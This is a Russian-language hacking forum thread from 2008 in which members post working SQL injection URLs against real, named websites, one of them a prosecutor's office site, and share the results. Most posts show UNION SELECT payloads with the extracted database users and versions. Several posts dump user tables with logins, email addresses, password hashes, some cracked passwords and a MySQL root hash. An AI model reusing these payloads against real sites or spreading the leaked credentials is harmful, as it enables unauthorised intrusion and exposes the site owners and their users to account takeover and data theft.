SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://forum.antichat.ru/showthread.php?p=413203
     
    1 person likes this.
  2. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    Мазда клуб
    http://mazda-club.dn.ua/features/?id=-116+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(VERSION(),0x71),0x71),6/*
    version: 4.1.10a-standard
    user: autoclubso_vas66@localhost
    database: autoclubso_news
    --------------------------------------
    Что за форум там, я так и не понял
     
  3. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    Ну mysql базы там нет, точнее если и есть то она закрыта
    а в остальных таблицах ничего интересного
    если ты смотриш через INFORMATION_SCHEMA.TABLES
    то лучше поройся через таблицу COLUMNS
    пример

    http://www.angelbaby.ru/tovar.php?ld=1+union+select+1,2,concat_ws(char(58),TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),4,5,6,7,8,9,10,11,12,13+from+information_schema.COLUMNS+limit+10+offset+280/*
     
  4. RaDDeaD

    RaDDeaD Elder - Старейшина

    Joined:
    28 Dec 2006
    Messages:
    44
    Likes Received:
    18
    Reputations:
    1
    TеcDоc
    Кстате буду очень признателен, если найдёте программу TеcDоc - WEB SHOP
     
  5. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    nossafe.net

    [email protected]:5.0.41--log:nossafe1

    pororo.net

    pororo@localhost:4.0.16:pororo

    scottishclimbs.com

    scottishclimbs@localhost:5.0.44-log:scottishclimbs
    scottishclimbs:AdminUsers:password
    1:Mark:48e8004a00203524
    leewok:[email protected]:566b2e95f1ca0a18fbab47b4d2647da7

    :)
     
    1 person likes this.
  6. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    tfleague.com :)

    tfleague_tfl@localhost:4.0.27-standard:tfleague_tf2

    cggi.de

    root@localhost:4.0.21:cggi
    root:332d0c153f727e45:00761652
    regentalgau:1e3af5ed433e592e
    jurl:73bc31a80229bdac
    juneutr:5ccfc99a7146c289
    ff-gebelkofen:032c41e8435273a7:letmein
    markusaumerde:024fd30c59f6ba50
    gymmunity:46a481a3351571c8
    rafardeon:35fc6ae571730216
    schmidt:194974134b4b88c3:monk
    tkammerl:17be5a8d493084f4:yxcvbnm
    intstud:44b1954c62cbed60
    sg1859:6cc0f6b914081bf1:Steyr
    devit:18b3346f566cc3d7
    ezmlm:37bc585a3c27174b
    kaiser:7d1b74024b90d352
    sharyosman:7976c7c43232c5a5
    fpga:0a9963f132fd6525
    typo3:0d9072351edc54dc
    intwiso-home:6c33642d789ded64
    igw:59ecf1cf6a1ee34a
     
    1 person likes this.
  7. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    Code:
    http://www.zdee.com/board/subj.php?id=9999999+union+select+1,2,3,password,5,6,7,8,9,10,11,12+from+user/*
     
    4 people like this.
  8. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    terrapinstats.com

    terps@localhost:5.0.37-standard-log:terps
    jjs6791:[email protected]:52bd43d37ed62eb4c226e31841bc03dc
    jjs6791:moses

    playersown.com.au

    playerso_players@localhost:4.1.22-standard:playerso_players
     
  9. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.build.kz/index.php?page=inc/cut&sector=comp&action=sublist&cid=-1+union+select+concat(user(),char(58),version(),char(58),database()),2+/*
     
    1 person likes this.
  10. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    armorysq.net
    VERSION: 5.0.27-standard-log
    USER: [email protected]
    DATABASE: armorysquare

    fx-mm.com
    VERSION: 5.0.22-max-log
    USER: [email protected]
    DATABASE: evolution
     
  11. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://agroferma.com/client/news.php?id=-46+union+select+1,2,5,4,5,5,concat_ws(0x3a,user(),database(),version()),8/*

    [email protected]
    agri_db0
    4.0.27
     
    1 person likes this.
  12. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.sbornaya.kz/articles/text/?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+/*
    только что-то version() и user() не хотят работать
     
  13. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    http://www.sbornaya.kz/articles/text/?id=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),1),1),5,6,7,8,9,10,11,12,13,14+/*
     
    1 person likes this.
  14. SIdoy

    SIdoy Member

    Joined:
    19 Sep 2007
    Messages:
    12
    Likes Received:
    6
    Reputations:
    0
    www.biomusic.ru

    админка:
    http://www.biomusic.ru/admin.php



    mp3.volpi.ru

     
    #4974 SIdoy, 5 Mar 2008
    Last edited: 5 Mar 2008
  15. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.regioninfo.ru/pfolioss.php?key_site=-1+union+select+1,concat(version(),user(),database()),3,4,5,6,7,8,9,10,11+/*

    4.0.24-standard-log
    salutaru_regi@localhost
    salutaru_regi
     
    1 person likes this.
  16. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    SIdoy
    1-www.biomusic.ru Баян
    2-mp3.volpi.ru Баян
     
  17. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    http://www.procuror.kz/?iid=-1+union+select+1,concat(user(),char(58),version(),char(58),database()),3,4,5,6,7,8+/*

    Сам не ломал и вам не советую, ПРОКУРАТУРА БЛИН! ))))
     
    1 person likes this.
  18. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://www.nmmra.org/e-newsletters.php?id=-9+union+select+1,database(),version(),4,5,6,7,8,9,10,11,user()/*
    nmmra@localhost
    nmmra
    4.1.20
     
  19. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Украинская авто газета

    autoua.biz

    _http://www.autoua.biz/org.php?id=-219+union+select+1,2,3,4,5,6,7,AES_DECRYPT(AES_ENCRYPT(concat(user(),char(58),version(),char(58),database(),0x71),0x71),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58/*

    autoua@localhost:4.1.18:autoua-market

    _http://www.autoua.biz/org.php?id=-219+union+select+1,2,3,4,5,6,7,aes_decrypt(aes_encrypt(user,0x71),0x71),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+mysql.user+limit+2,10/*

    root:*7DD915644D68E76435D36103BF2BB41D50B337A6

    блин 55 столбцов беда,кстати user и password вместе не выводит,что это может быть?
     
  20. Saime

    Saime Member

    Joined:
    27 Feb 2008
    Messages:
    19
    Likes Received:
    11
    Reputations:
    -1
    steambans.com

    D_DK:D[email protected]:72e8f146d1499be218eb6f80f530bacd

    :) :) :)
     
    #4980 Saime, 5 Mar 2008
    Last edited: 5 Mar 2008
    2 people like this.
Thread Status:
Not open for further replies.